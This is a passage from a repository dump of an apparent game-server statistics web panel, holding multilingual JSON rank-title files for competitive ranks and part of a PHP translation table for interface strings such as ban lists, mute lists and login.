"LT" : "Lygis 6" }, "7": { "EN" : "Level 7", "RU" : "Уровень 7", "UA" : "Рівень 7", "LT" : "Lygis 7" }, "8": { "EN" : "Level 8", "RU" : "Уровень 8", "UA" : "Рівень 8", "LT" : "Lygis 8" }, "9": { "EN" : "Level 9", "RU" : "Уровень 9", "UA" : "Рівень 9", "LT" : "Lygis 9" }, "10": { "EN" : "Level 10", "RU" : "Уровень 10", "UA" : "Рівень 10", "LT" : "Lygis 10" } } ================================================ FILE: storage/cache/img/ranks/gtixon/description.json ================================================ { "title": "Rank | Gtixon", "author": "https://hlmod.ru/members/gtixon.107431/" } ================================================ FILE: storage/cache/img/ranks/gtixon/title.json ================================================ { "_": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango" }, "0": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango" }, "00": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango" }, "1": { "EN" : "Silver 1", "RU" : "Серебро 1", "UA" : "Срібло 1", "LT" : "Silver 1" }, "2": { "EN" : "Silver 2", "RU" : "Серебро 2", "UA" : "Срібло 2", "LT" : "Silver 2" }, "3": { "EN" : "Silver 3", "RU" : "Серебро 3", "UA" : "Срібло 3", "LT" : "Silver 3" }, "4": { "EN" : "Silver 4", "RU" : "Серебро 4", "UA" : "Срібло 4", "LT" : "Silver 4" }, "5": { "EN" : "Silver Elite", "RU" : "Серебро Элита", "UA" : "Срібло Еліта", "LT" : "Silver Elite" }, "6": { "EN" : "Silver Elite Master", "RU" : "Серебро - Великий Магистр", "UA" : "Срібло - Великий Магістр", "LT" : "Silver Elite Master" }, "7": { "EN" : "Gold Nova 1", "RU" : "Золотая звезда 1", "UA" : "Золота зірка 1", "LT" : "Gold Nova 1" }, "8": { "EN" : "Gold Nova 2", "RU" : "Золотая звезда 2", "UA" : "Золота зірка 2", "LT" : "Gold Nova 2" }, "9": { "EN" : "Gold Nova 3", "RU" : "Золотая звезда 3", "UA" : "Золота зірка 3", "LT" : "Gold Nova 3" }, "10": { "EN" : "Gold Nova Master", "RU" : "Золотая звезда - Магистр", "UA" : "Золота зірка - Магістр", "LT" : "Gold Nova Master" }, "11": { "EN" : "Master Guardian 1", "RU" : "Магистр-хранитель 1", "UA" : "Магістр-хранитель 1", "LT" : "Master Guardian 1" }, "12": { "EN" : "Master Guardian 2", "RU" : "Магистр-хранитель 2", "UA" : "Магістр-хранитель 2", "LT" : "Master Guardian 2" }, "13": { "EN" : "Master Guardian Elite", "RU" : "Магистр-хранитель Элита", "UA" : "Магістр-хранитель Еліта", "LT" : "Master Guardian Elite" }, "14": { "EN" : "Distinguished Master Guardian", "RU" : "Заслуженный Магистр-хранитель", "UA" : "Заслужений Магістр-хранитель", "LT" : "Distinguished Master Guardian" }, "15": { "EN" : "Legendary Eagle", "RU" : "Легендарный Беркут", "UA" : "Легендарный Беркут", "LT" : "Legendary Eagle" }, "16": { "EN" : "Legendary Eagle Master", "RU" : "Легендарный Беркут-магистр", "UA" : "Легендарний Беркут-магістр", "LT" : "Legendary Eagle Master" }, "17": { "EN" : "Supreme Master First Class", "RU" : "Великий Магистр Высшего Ранга", "UA" : "Великий Магістр Вищого Рангу", "LT" : "Supreme Master First Class" }, "18": { "EN" : "The Global Elite", "RU" : "Всемирная Элита", "UA" : "Всесвітня Еліта", "LT" : "The Global Elite" }, "19": { "EN" : "Rank 19", "RU" : "Rank 19", "UA" : "Rank 19", "LT" : "Rank 19" }, "20": { "EN" : "Rank 20", "RU" : "Rank 20", "UA" : "Rank 20", "LT" : "Rank 20" }, "21": { "EN" : "Rank 21", "RU" : "Rank 21", "UA" : "Rank 21", "LT" : "Rank 21" }, "22": { "EN" : "Rank 22", "RU" : "Rank 22", "UA" : "Rank 22", "LT" : "Rank 22" }, "23": { "EN" : "Rank 23", "RU" : "Rank 23", "UA" : "Rank 23", "LT" : "Rank 23" }, "24": { "EN" : "Rank 24", "RU" : "Rank 24", "UA" : "Rank 24", "LT" : "Rank 24" }, "25": { "EN" : "Rank 25", "RU" : "Rank 25", "UA" : "Rank 25", "LT" : "Rank 25" }, "26": { "EN" : "Rank 26", "RU" : "Rank 26", "UA" : "Rank 26", "LT" : "Rank 26" }, "27": { "EN" : "Rank 27", "RU" : "Rank 27", "UA" : "Rank 27", "LT" : "Rank 27" }, "28": { "EN" : "Rank 28", "RU" : "Rank 28", "UA" : "Rank 28", "LT" : "Rank 28" }, "29": { "EN" : "Rank 29", "RU" : "Rank 29", "UA" : "Rank 29", "LT" : "Rank 29" }, "30": { "EN" : "Rank 30", "RU" : "Rank 30", "UA" : "Rank 30", "LT" : "Rank 30" }, "31": { "EN" : "Rank 31", "RU" : "Rank 31", "UA" : "Rank 31", "LT" : "Rank 31" }, "32": { "EN" : "Rank 32", "RU" : "Rank 32", "UA" : "Rank 32", "LT" : "Rank 32" }, "33": { "EN" : "Rank 33", "RU" : "Rank 33", "UA" : "Rank 33", "LT" : "Rank 33" }, "34": { "EN" : "Rank 34", "RU" : "Rank 34", "UA" : "Rank 34", "LT" : "Rank 34" }, "35": { "EN" : "Rank 35", "RU" : "Rank 35", "UA" : "Rank 35", "LT" : "Rank 35" }, "36": { "EN" : "Rank 36", "RU" : "Rank 36", "UA" : "Rank 36", "LT" : "Rank 36" }, "37": { "EN" : "Rank 37", "RU" : "Rank 37", "UA" : "Rank 37", "LT" : "Rank 37" }, "38": { "EN" : "Rank 38", "RU" : "Rank 38", "UA" : "Rank 38", "LT" : "Rank 38" }, "39": { "EN" : "Rank 39", "RU" : "Rank 39", "UA" : "Rank 39", "LT" : "Rank 39" }, "40": { "EN" : "Rank 40", "RU" : "Rank 40", "UA" : "Rank 40", "LT" : "Rank 40" }, "41": { "EN" : "Rank 41", "RU" : "Rank 41", "UA" : "Rank 41", "LT" : "Rank 41" }, "42": { "EN" : "Rank 42", "RU" : "Rank 42", "UA" : "Rank 42", "LT" : "Rank 42" }, "43": { "EN" : "Rank 43", "RU" : "Rank 43", "UA" : "Rank 43", "LT" : "Rank 43" }, "44": { "EN" : "Rank 44", "RU" : "Rank 44", "UA" : "Rank 44", "LT" : "Rank 44" }, "45": { "EN" : "Rank 45", "RU" : "Rank 45", "UA" : "Rank 45", "LT" : "Rank 45" }, "46": { "EN" : "Rank 46", "RU" : "Rank 46", "UA" : "Rank 46", "LT" : "Rank 46" }, "47": { "EN" : "Rank 47", "RU" : "Rank 47", "UA" : "Rank 47", "LT" : "Rank 47" }, "48": { "EN" : "Rank 48", "RU" : "Rank 48", "UA" : "Rank 48", "LT" : "Rank 48" }, "49": { "EN" : "Rank 49", "RU" : "Rank 49", "UA" : "Rank 49", "LT" : "Rank 49" }, "50": { "EN" : "Rank 50", "RU" : "Rank 50", "UA" : "Rank 50", "LT" : "Rank 50" } } ================================================ FILE: storage/cache/img/ranks/wingman/description.json ================================================ { "title": "Rank | Wingman", "author": "M0st1ce" } ================================================ FILE: storage/cache/img/ranks/wingman/title.json ================================================ { "_": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango", "CH" : "无段位" }, "0": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango", "CH" : "无段位" }, "00": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango", "CH" : "无段位" }, "1": { "EN" : "Silver 1", "RU" : "Серебро 1", "UA" : "Срібло 1", "LT" : "Silver 1", "CH" : "白银 ー I" }, "2": { "EN" : "Silver 2", "RU" : "Серебро 2", "UA" : "Срібло 2", "LT" : "Silver 2", "CH" : "白银 ー II" }, "3": { "EN" : "Silver 3", "RU" : "Серебро 3", "UA" : "Срібло 3", "LT" : "Silver 3", "CH" : "白银 ー III" }, "4": { "EN" : "Silver 4", "RU" : "Серебро 4", "UA" : "Срібло 4", "LT" : "Silver 4", "CH" : "白银 ー IV" }, "5": { "EN" : "Silver Elite", "RU" : "Серебро Элита", "UA" : "Срібло Еліта", "LT" : "Silver Elite", "CH" : "白银 ー 精英" }, "6": { "EN" : "Silver Elite Master", "RU" : "Серебро - Великий Магистр", "UA" : "Срібло - Великий Магістр", "LT" : "Silver Elite Master", "CH" : "白银 ー 大师级精英" }, "7": { "EN" : "Gold Nova 1", "RU" : "Золотая звезда 1", "UA" : "Золота зірка 1", "LT" : "Gold Nova 1", "CH" : "黄金新星 ー I" }, "8": { "EN" : "Gold Nova 2", "RU" : "Золотая звезда 2", "UA" : "Золота зірка 2", "LT" : "Gold Nova 2", "CH" : "黄金新星 ー II" }, "9": { "EN" : "Gold Nova 3", "RU" : "Золотая звезда 3", "UA" : "Золота зірка 3", "LT" : "Gold Nova 3", "CH" : "黄金新星 ー III" }, "10": { "EN" : "Gold Nova Master", "RU" : "Золотая звезда - Магистр", "UA" : "Золота зірка - Магістр", "LT" : "Gold Nova Master", "CH" : "黄金新星 ー 大师级" }, "11": { "EN" : "Master Guardian 1", "RU" : "Магистр-хранитель 1", "UA" : "Магістр-хранитель 1", "LT" : "Master Guardian 1", "CH" : "大师级守护者 ー I" }, "12": { "EN" : "Master Guardian 2", "RU" : "Магистр-хранитель 2", "UA" : "Магістр-хранитель 2", "LT" : "Master Guardian 2", "CH" : "大师级守护者 ー II" }, "13": { "EN" : "Master Guardian Elite", "RU" : "Магистр-хранитель Элита", "UA" : "Магістр-хранитель Еліта", "LT" : "Master Guardian Elite", "CH" : "大师级守护者 ー 精英" }, "14": { "EN" : "Distinguished Master Guardian", "RU" : "Заслуженный Магистр-хранитель", "UA" : "Заслужений Магістр-хранитель", "LT" : "Distinguished Master Guardian", "CH" : "大师级守护者 ー 卓越" }, "15": { "EN" : "Legendary Eagle", "RU" : "Легендарный Беркут", "UA" : "Легендарный Беркут", "LT" : "Legendary Eagle", "CH" : "传奇之鹰" }, "16": { "EN" : "Legendary Eagle Master", "RU" : "Легендарный Беркут-магистр", "UA" : "Легендарний Беркут-магістр", "LT" : "Legendary Eagle Master", "CH" : "传奇之鹰 ー 大师级" }, "17": { "EN" : "Supreme Master First Class", "RU" : "Великий Магистр Высшего Ранга", "UA" : "Великий Магістр Вищого Рангу", "LT" : "Supreme Master First Class", "CH" : "无上之首席大师" }, "18": { "EN" : "The Global Elite", "RU" : "Всемирная Элита", "UA" : "Всесвітня Еліта", "LT" : "The Global Elite", "CH" : "全球精英" } } ================================================ FILE: storage/cache/sessions/languages.json ================================================ ["EN","RU","UA","LT","CH","DE","RS","BA","CRO","TR","BR"] ================================================ FILE: storage/cache/sessions/translator.php ================================================ array ( 'DE' => 'Russisch', 'EN' => 'Russian', 'BR' => 'Russian', 'RU' => 'Русский', 'UA' => 'Русский', 'LT' => 'Rusų', 'CH' => '俄语', 'CRO' => 'Ruski', 'RS' => 'Ruski', 'BA' => 'Ruski', 'TR' => 'Rusça' ), '_EN' => array ( 'DE' => 'Englisch', 'EN' => 'English', 'BR' => 'English', 'RU' => 'Английский', 'UA' => 'Англійська', 'LT' => 'Anglų', 'CH' => '英语', 'CRO' => 'Engleski', 'RS' => 'Engleski', 'BA' => 'Engleski', 'TR' => 'İngilizce' ), '_BR' => array ( 'DE' => 'Brazil', 'EN' => 'Brazil', 'BR' => 'Brazil', 'RU' => 'Brazil', 'UA' => 'Brazil', 'LT' => 'Brazil', 'CH' => 'Brazil', 'CRO' => 'Brazil', 'RS' => 'Brazil', 'BA' => 'Brazil', 'TR' => 'Brazil' ), '_UA' => array ( 'DE' => 'Ukraine', 'EN' => 'Ukrainian', 'BR' => 'Ukrainian', 'RU' => 'Украинский', 'UA' => 'Український', 'LT' => 'Ukrainiečių', 'CH' => '乌克兰语', 'CRO' => 'Ukrajinski', 'RS' => 'Ukrajinski', 'BA' => 'Ukrajinski', 'TR' => 'Ukraynaca' ), '_LT' => array ( 'DE' => 'Lithuania', 'EN' => 'Lithuanian', 'BR' => 'Lithuanian', 'RU' => 'Литовский', 'UA' => 'Литовська', 'LT' => 'Lietuvių', 'CH' => '立陶宛语', 'CRO' => 'Litva', 'RS' => 'Litvanski', 'BA' => 'Litvanski', 'TR' => 'Litvanca' ), '_DE' => array ( 'DE' => 'Deutsch', 'EN' => 'Deutsch', 'BR' => 'Deutsch', 'RU' => 'Немецкий', 'UA' => 'Німецький', 'LT' => 'Vokiečių kalba', 'CH' => '德语', 'CRO' => 'Njemacki', 'RS' => 'Nemacki', 'BA' => 'Njemacki', 'TR' => 'Almanca' ), '_CH' => array ( 'DE' => 'Verein. Chinesisch', 'EN' => 'Simpl. Chinese', 'BR' => 'Simpl. Chinese', 'RU' => 'Китайский', 'UA' => 'Китайська', 'LT' => 'Supaprastinta kinų kalba', 'CH' => '简体中文', 'CRO' => 'Kineski', 'RS' => 'Kineski', 'BA' => 'Kineski', 'TR' => 'Çince' ), '_RS' => array ( 'DE' => 'Serbian', 'EN' => 'Serbian', 'BR' => 'Serbian', 'RU' => 'Serbian', 'UA' => 'Serbian', 'LT' => 'Serbian', 'CH' => 'Serbian', 'CRO' => 'Srpski', 'RS' => 'Srpski', 'BA' => 'Srpski', 'TR' => 'Sırpça' ), '_CRO' => array ( 'DE' => 'Croatian', 'EN' => 'Croatian', 'BR' => 'Croatian', 'RU' => 'Croatian', 'UA' => 'Croatian', 'LT' => 'Croatian', 'CH' => 'Croatian', 'CRO' => 'Hrvatski', 'RS' => 'Hrvatski', 'BA' => 'Hrvatski', 'TR' => 'Hırvatça' ), '_BA' => array ( 'DE' => 'Bosnian', 'EN' => 'Bosnian', 'BR' => 'Bosnian', 'RU' => 'Bosnian', 'UA' => 'Bosnian', 'LT' => 'Bosnian', 'CH' => 'Bosnian', 'CRO' => 'Bosanski', 'RS' => 'Bosanski', 'BA' => 'Bosanski', 'TR' => 'Boşnakça' ), '_TR' => array ( 'DE' => 'Türkisch', 'EN' => 'Turkish', 'BR' => 'Turkish', 'RU' => 'Турецкий', 'UA' => 'Турецька', 'LT' => 'Turkų', 'CH' => '土耳其', 'CRO' => 'Turski', 'RS' => 'Турски', 'BA' => 'Turski', 'TR' => 'Boşnakça' ), '_Server' => array ( 'EN' => 'Server', 'BR' => 'Servidores', 'RU' => 'Сервер', 'UA' => 'Сервер', 'LT' => 'Serveris', 'DE' => 'Server', 'CH' => '服务器', 'CRO' => 'Server', 'RS' => 'Server', 'BA' => 'Server', 'TR' => 'Sunucu' ), '_Home' => array ( 'EN' => 'Home', 'BR' => 'Página Inicial', 'RU' => 'Главная', 'UA' => 'Головна', 'LT' => 'Pagrindinis', 'DE' => 'Zuhause', 'CH' => '主页', 'CRO' => 'Početna', 'RS' => 'Početna', 'BA' => 'Početna', 'TR' => 'Anasayfa' ), '_Statistics' => array ( 'EN' => 'Players Statistics', 'BR' => 'Estatísticas dos Players', 'RU' => 'Статистика игроков', 'UA' => 'Статистика гравців', 'LT' => 'Statistika žaidėjai', 'DE' => 'Spieler Statistik', 'CH' => '玩家数据', 'CRO' => 'Statistika Igrača', 'RS' => 'Statistika Igrača', 'BA' => 'Statistika Igrača', 'TR' => 'Oyuncu İstatistikleri' ), '_Sidebar_blocks' => array ( 'EN' => 'Blocking', 'RU' => 'Блокировки', 'UA' => 'Блокування', 'LT' => 'Spynos', 'DE' => 'Blockieren', 'CH' => '阻止中', 'CRO' => 'Blokirati', 'RS' => 'Blokirati', 'BA' => 'Blokirati', 'TR' => 'Engelleme' ), '_Sidebar_servers' => array ( 'EN' => 'Game Servers', 'BR' => 'Game Servers', 'RU' => 'Игровые сервера', 'UA' => 'Ігрові сервера', 'LT' => 'Žaidimų serveriai', 'DE' => 'Gameserver', 'CH' => '游戏服务器', 'CRO' => 'Serveri', 'RS' => 'Serveri', 'BA' => 'Serveri', 'TR' => 'Oyun Sunucuları' ), '_Sidebar_social' => array ( 'EN' => 'Social Networks', 'BR' => 'Redes Sociais', 'RU' => 'Социальные сети', 'UA' => 'Соціальні мережі', 'LT' => 'Socialiniai tinklai', 'DE' => 'Soziales Netzwerk', 'CH' => '社交媒体', 'CRO' => 'Društvena mreža', 'RS' => 'Socijalna mreža', 'BA' => 'Socijalna mreža', 'TR' => 'Sosyal Ağ' ), '_Sidebar_statistics' => array ( 'EN' => 'Statistics', 'BR' => 'Estatisticas', 'RU' => 'Статистика', 'UA' => 'Статистика', 'LT' => 'Statistika', 'DE' => 'Statistik', 'CH' => '数据', 'CRO' => 'Statistika', 'RS' => 'Statistika', 'BA' => 'Statistika', 'TR' => 'İstatistikler' ), '_Comms' => array ( 'EN' => 'Mute List', 'BR' => 'Lista de Mute', 'RU' => 'Список мутов', 'UA' => 'Перелік мутов', 'LT' => 'List of mutts', 'DE' => 'Stummschaltungsliste', 'CH' => '语音封禁列表', 'CRO' => 'Mute lista', 'RS' => 'Mute lista', 'BA' => 'Mute lista', 'TR' => 'Mute Listesi' ), '_Admins_sb' => array ( 'EN' => 'Admin List', 'BR' => 'Lista de Administradores', 'RU' => 'Список администраторов', 'UA' => 'Список адміністраторів', 'LT' => 'Administratorių sąrašas', 'DE' => 'Admin Liste', 'CH' => '管理员列表', 'CRO' => 'Admin lista', 'RS' => 'Spisak Administratora', 'BA' => 'Admin lista', 'TR' => 'Admin Listesi' ), '_Rank_stats' => array ( 'EN' => 'Statistics - Rank Distribution', 'BR' => 'Estatísticas - Distribuição de Rank', 'RU' => 'Статистика - Распределение рангов', 'UA' => 'Статистика - Розподіл рангів', 'LT' => 'Statistika - reitingų paskirstymas', 'DE' => 'Statistiken - Rangfolgeverteilung', 'CH' => '数据 - 段位分布', 'CRO' => 'Statistika - Raspodjela rankova', 'RS' => 'Statistika - Raspodjela rankova', 'BA' => 'Statistika - Raspodjela rankova', 'TR' => 'İstatistikler - Rütbe Dağılımı' ), '_Game' => array ( 'EN' => 'Game', 'BR' => 'Game', 'RU' => 'Игра', 'UA' => 'Гра', 'LT' => 'Žaidimas', 'DE' => 'Spiel', 'CH' => '游戏', 'CRO' => 'Igra', 'RS' => 'Igra', 'BA' => 'Igra', 'TR' => 'Oyun' ), '_Bans' => array ( 'EN' => 'Ban List', 'BR' => 'Lista de Ban', 'RU' => 'Список банов', 'UA' => 'Список банів', 'LT' => 'Blokavimų sąrašas', 'DE' => 'Sperrliste', 'CH' => '封禁列表', 'CRO' => 'Ban lista', 'RS' => 'Ban lista', 'BA' => 'Ban lista', 'TR' => 'Ban Listesi' ), '_Demos' => array ( 'EN' => 'Demo Archive', 'BR' => 'Arquivo Demo', 'RU' => 'Архив демо-записей', 'UA' => 'Архив демо-записей', 'LT' => 'Demos List', 'DE' => 'Demo-Archiv', 'CH' => 'DEMO 存档', 'CRO' => 'Demo lista', 'RS' => 'Demo lista', 'BA' => 'Demo lista', 'TR' => 'Demo Arşivi' ), '_Page' => array ( 'EN' => 'Page', 'RU' => 'Страница', 'UA' => 'Сторінка', 'LT' => 'Puslapis', 'DE' => 'Seite', 'CH' => '页面', 'CRO' => 'Stranica', 'RS' => 'Stranica', 'BA' => 'Stranica', 'TR' => 'Sayfa' ), '_Notifications' => array ( 'EN' => 'Notifications', 'BR' => 'Notificações', 'RU' => 'Уведомления', 'UA' => 'Повідомлення', 'LT' => 'Pranešimai', 'DE' => 'Benachrichtigungen', 'CH' => '通知', 'CRO' => 'Obavijesti', 'RS' => 'Notifikacije', 'BA' => 'Notifikacije', 'TR' => 'Bildirimler' ), '_No_Notifications' => array ( 'EN' => 'All Clear', 'BR' => 'Limpo', 'RU' => 'нет новых уведомлений', 'UA' => 'немає нових повідомлень', 'LT' => 'naujų pranešimų nėra', 'DE' => 'Alles löschen', 'CH' => '清理所有通知', 'CRO' => 'Sve izbrisati', 'RS' => 'Sve izbrisati', 'BA' => 'Sve izbrisati', 'TR' => 'Yeni bildirim yok', ), '_Plays_since' => array ( 'EN' => 'Played Last:', 'BR' => 'Visto última vez:', 'RU' => 'Последняя игра:', 'UA' => 'Остання гра', 'LT' => 'Paskutinį kartą žaista', 'DE' => 'Zuletzt gespielt:', 'CH' => '最后游玩:', 'CRO' => 'Zadnje odigrano', 'RS' => 'Zadnje odigrano', 'BA' => 'Zadnje odigrano', 'TR' => 'Son oynanan:' ), '_Headshot' => array ( 'EN' => 'HeadShots', 'BR' => 'HeadShots', 'RU' => 'Убийств в голову', 'UA' => 'Вбивств в голову', 'LT' => 'Pataikymai į galvą', 'DE' => 'Kopfschuss', 'CH' => '爆头', 'CRO' => 'Ubistva u glavu', 'RS' => 'Headshots', 'BA' => 'Headshots', 'TR' => 'Kafadan Vuruşlar' ), '_Connect' => array ( 'EN' => 'Connect', 'BR' => 'Conectar', 'RU' => 'Присоединиться', 'UA' => 'Приєднатися', 'LT' => 'Prisijungė', 'DE' => 'Verbinden', 'CH' => '连接', 'CRO' => 'Spojiti se', 'RS' => 'Povezati se', 'BA' => 'Spojiti se', 'TR' => 'Bağlan' ), '_Connect_2' => array ( 'EN' => 'Join', 'BR' => 'Junte-se', 'RU' => 'Играть', 'UA' => 'Играть', 'LT' => 'Jungtis', 'DE' => 'Beitreten', 'CH' => '加入', 'CRO' => 'Pridruži se', 'RS' => 'Pridruži se', 'BA' => 'Pridruži se', 'TR' => 'Katıl' ), '_Date' => array ( 'EN' => 'Date', 'BR' => 'Date', 'RU' => 'Дата', 'UA' => 'Дата', 'LT' => 'Data', 'DE' => 'Datum', 'CH' => '日期', 'CRO' => 'Datum', 'RS' => 'Datum', 'BA' => 'Datum', 'TR' => 'Tarih' ), '_Type' => array ( 'EN' => 'Type', 'RU' => 'Тип', 'UA' => 'Вид', 'LT' => 'Rūšis', 'DE' => 'Typ', 'CH' => '类型', 'CRO' => 'Vrsta', 'RS' => 'Vrsta', 'BA' => 'Vrsta', 'TR' => 'Tip' ), '_Admin' => array ( 'EN' => 'Admin', 'BR' => 'Administradores', 'RU' => 'Админ.', 'UA' => 'Адмін.', 'LT' => 'Admin.', 'DE' => 'Admin', 'CH' => '管理员', 'CRO' => 'Admin', 'RS' => 'Admin', 'BA' => 'Admin', 'TR' => 'Admin' ), '_Reason' => array ( 'EN' => 'Reason', 'BR' => 'Motivo', 'RU' => 'Причина', 'UA' => 'Чому', 'LT' => 'Priežastis', 'DE' => 'Grund', 'CH' => '原因', 'CRO' => 'Razlog', 'RS' => 'Razlog', 'BA' => 'Razlog', 'TR' => 'Sebep' ), '_Term' => array ( 'EN' => 'Length', 'RU' => 'Срок', 'UA' => 'Термін', 'LT' => 'Terminas', 'DE' => 'Länge', 'CH' => '封禁时长', 'CRO' => 'Trajanje', 'RS' => 'Trajanje', 'BA' => 'Trajanje', 'TR' => 'Süre' ), '_Forever' => array ( 'EN' => 'Permanent', 'BR' => 'Permanente', 'RU' => 'Навсегда', 'UA' => 'Назавжди', 'LT' => 'Amžinai', 'DE' => 'Permanent', 'CH' => '永久', 'CRO' => 'Zauvjek', 'RS' => 'Zauvjek', 'BA' => 'Zauvjek', 'TR' => 'Süresiz' ), '_Unban' => array ( 'EN' => 'Unbanned', 'BR' => 'Unbanned', 'RU' => 'Разбанен', 'UA' => 'Разбанен', 'LT' => 'Unban', 'DE' => 'Entsperren', 'CH' => '已解封', 'CRO' => 'Odbanovan', 'RS' => 'Odbanovan', 'BA' => 'Odbanovan', 'TR' => 'Ban Kaldırma' ), '_Uncomm' => array ( 'EN' => 'Unmuted', 'BR' => 'Unmuted', 'RU' => 'Размут', 'UA' => 'Размут', 'LT' => 'Uncomm', 'DE' => 'Nicht stumm geschaltet', 'CH' => '已解除语音封禁', 'CRO' => 'Odmutovan', 'RS' => 'Odmutovan', 'BA' => 'Odmutovan', 'TR' => 'Mute Kaldırma' ), '_Has_expired' => array ( 'EN' => 'Expired', 'RU' => 'Истёк', 'UA' => 'Закінчився', 'LT' => 'Pasibaigęs', 'DE' => 'Abgelaufen', 'CH' => '封禁到期', 'CRO' => 'Isteklo', 'RS' => 'Isteklo', 'BA' => 'Isteklo', 'TR' => 'Süresi Doldu' ), '_List_recent_bans' => array ( 'EN' => 'Banlist Overview', 'RU' => 'Список последних банов', 'UA' => 'Список останніх банів', 'LT' => 'List of recent bans', 'DE' => 'Übersicht über die Sperrliste', 'CH' => '封禁列表总览', 'CRO' => 'Pregled Ban liste', 'RS' => 'Pregled Ban liste', 'BA' => 'Pregled Ban liste', 'TR' => 'Son Banlar' ), '_List_recent_mut_gags' => array ( 'EN' => 'Communications Blocklist Overview', 'RU' => 'Список последних мутов / гагов', 'UA' => 'Список останніх мутов / гагов', 'LT' => 'List of recent mut / gags', 'DE' => 'Übersicht über die Kommunikationsblockliste', 'CH' => '语音封禁列表总览', 'CRO' => 'Pregled Mute/Gag liste', 'RS' => 'Pregled Mute/Gag liste', 'BA' => 'Pregled Mute/Gag liste', 'TR' => 'Son Mute/Gag Yiyenler' ), '_Rank_distribution' => array ( 'EN' => 'Rank Distribution', 'BR' => 'Distribuição de Rank', 'RU' => 'Распределение рангов', 'UA' => 'Розподіл рангів', 'LT' => 'Rank distribution', 'DE' => 'Rangfolgeverteilung', 'CH' => '段位分布', 'CRO' => 'Raspodjela rankova', 'RS' => 'Raspodela rankova', 'BA' => 'Raspodjela rankova', 'TR' => 'Rank Dağılımı' ), '_Hero_without_name' => array ( 'EN' => 'Hello, Stranger', 'BR' => 'Olá, Visitante', 'RU' => 'Герой без имени', 'UA' => 'Герой без імені', 'LT' => 'Hero without a name', 'DE' => 'Hallo, Fremder.', 'CRO' => 'Zdravo strancu', 'RS' => 'Pozdrav stranče', 'BA' => 'Pozdrav stranče', 'TR' => 'Merhaba, Misafir' ), '_Authorization' => array ( 'EN' => 'Authorization', 'BR' => 'Autorização', 'RU' => 'Авторизация', 'UA' => 'Авторизація', 'LT' => 'Authorization', 'DE' => 'Berechtigung', 'CH' => '认证', 'CRO' => 'Odobrenje', 'RS' => 'Odobrenje', 'BA' => 'Odobrenje', 'TR' => 'Yetki' ), '_Login' => array ( 'EN' => 'Login', 'RU' => 'Логин', 'UA' => 'Логін', 'LT' => 'Login', 'DE' => 'Login', 'CH' => '用户名', 'CRO' => 'Loguj se', 'RS' => 'Prijavi se', 'BA' => 'Prijavi se', 'TR' => 'Giriş' ), '_Password' => array ( 'EN' => 'Password', 'RU' => 'Пароль', 'UA' => 'Пароль', 'LT' => 'Password', 'DE' => 'Passwort', 'CH' => '密码', 'CRO' => 'Lozinka', 'RS' => 'Šifra', 'BA' => 'Lozinka', 'TR' => 'Şifre' ), '_Steam_login' => array ( 'EN' => 'Sign In through Steam', 'BR' => 'Faça login pela Steam', 'RU' => 'Войти через Steam', 'UA' => 'Увійти через Steam', 'LT' => 'Sign in with Steam', 'DE' => 'Anmelden durch Steam', 'CH' => '通过STEAM登录', 'CRO' => 'Prijava putem steama', 'RS' => 'Prijava putem steama', 'BA' => 'Prijava putem steama', 'TR' => 'Steam İle Giriş Yap' ), '_Update' => array ( 'EN' => 'Update', 'BR' => 'Atualizar', 'RU' => 'Обновление', 'UA' => 'Оновлення', 'LT' => 'Atnaujinti', 'DE' => 'Aktualisieren', 'CH' => '更新', 'CRO' => 'Ažuriranje', 'RS' => 'Apdejt', 'BA' => 'Apdejt', 'TR' => 'Güncelleme' ), '_Result' => array ( 'EN' => 'Result', 'BR' => 'Resultado', 'RU' => 'Результат', 'UA' => 'Результат', 'LT' => 'Rezultatas', 'DE' => 'Ergebnis', 'CH' => '结果', 'CRO' => 'Rezultat', 'RS' => 'Rezultat', 'BA' => 'Rezultat', 'TR' => 'Sonuç' ), '_Name' => array ( 'EN' => 'Name', 'RU' => 'Название', 'UA' => 'Назва', 'LT' => 'Vardas', 'DE' => 'Name', 'CH' => '昵称', 'CRO' => 'Ime', 'RS' => 'Ime', 'BA' => 'Ime', 'TR' => 'İsim' ), '_Score' => array ( 'EN' => 'Score', 'RU' => 'Счёт', 'UA' => 'Рахунок', 'LT' => 'Taškai', 'DE' => 'Punktzahl', 'CH' => '得分', 'CRO' => 'Skor', 'RS' => 'Skor', 'BA' => 'Skor', 'TR' => 'Skor' ), '_Map' => array ( 'EN' => 'Map', 'BR' => 'Mapa', 'RU' => 'Карта', 'UA' => 'Мапа', 'LT' => 'Žemėlapis', 'DE' => 'Karte', 'CH' => '地图', 'CRO' => 'Mapa', 'RS' => 'Mapa', 'BA' => 'Mapa', 'TR' => 'Harita' ), '_Online_mon' => array ( 'EN' => 'Online Monitoring', 'BR' => 'Monitoramento Online', 'RU' => 'Мониторинг онлайна', 'UA' => 'Моніторинг онлайну', 'LT' => 'Interneto stebėjimas', 'DE' => 'Online-Überwachung', 'CH' => '在线监视器', 'CRO' => 'Online praćenje', 'RS' => 'Onlajn monitoring', 'BA' => 'Online praćenje', 'TR' => 'Çevrimiçi İzleme' ), '_Rating' => array ( 'EN' => 'Rating', 'RU' => 'Место', 'UA' => 'Місце', 'LT' => 'Reitingas', 'DE' => 'Bewertung', 'CH' => 'Rating', 'CRO' => 'Ocjena', 'RS' => 'Rejting', 'BA' => 'Rejting', 'TR' => 'Değerlendirme' ), '_Player' => array ( 'EN' => 'Player', 'RU' => 'Игрок', 'UA' => 'Гравець', 'LT' => 'Žaidėjas', 'DE' => 'Spieler', 'CH' => '玩家', 'CRO' => 'Igrač', 'RS' => 'Igrač', 'BA' => 'Igrač', 'TR' => 'Oyuncu' ), '_Players' => array ( 'EN' => 'Players', 'RU' => 'Игроков', 'UA' => 'Гравців', 'LT' => 'Žaidėjai', 'DE' => 'Spieler', 'CH' => '玩家', 'CRO' => 'Igrači', 'RS' => 'Igrači', 'BA' => 'Igrači', 'TR' => 'Oyuncular' ), '_Point' => array ( 'EN' => 'Points', 'BR' => 'Pontos', 'RU' => 'Очки', 'UA' => 'Поінти', 'LT' => 'Taškai', 'DE' => 'Punkte', 'CH' => '分数', 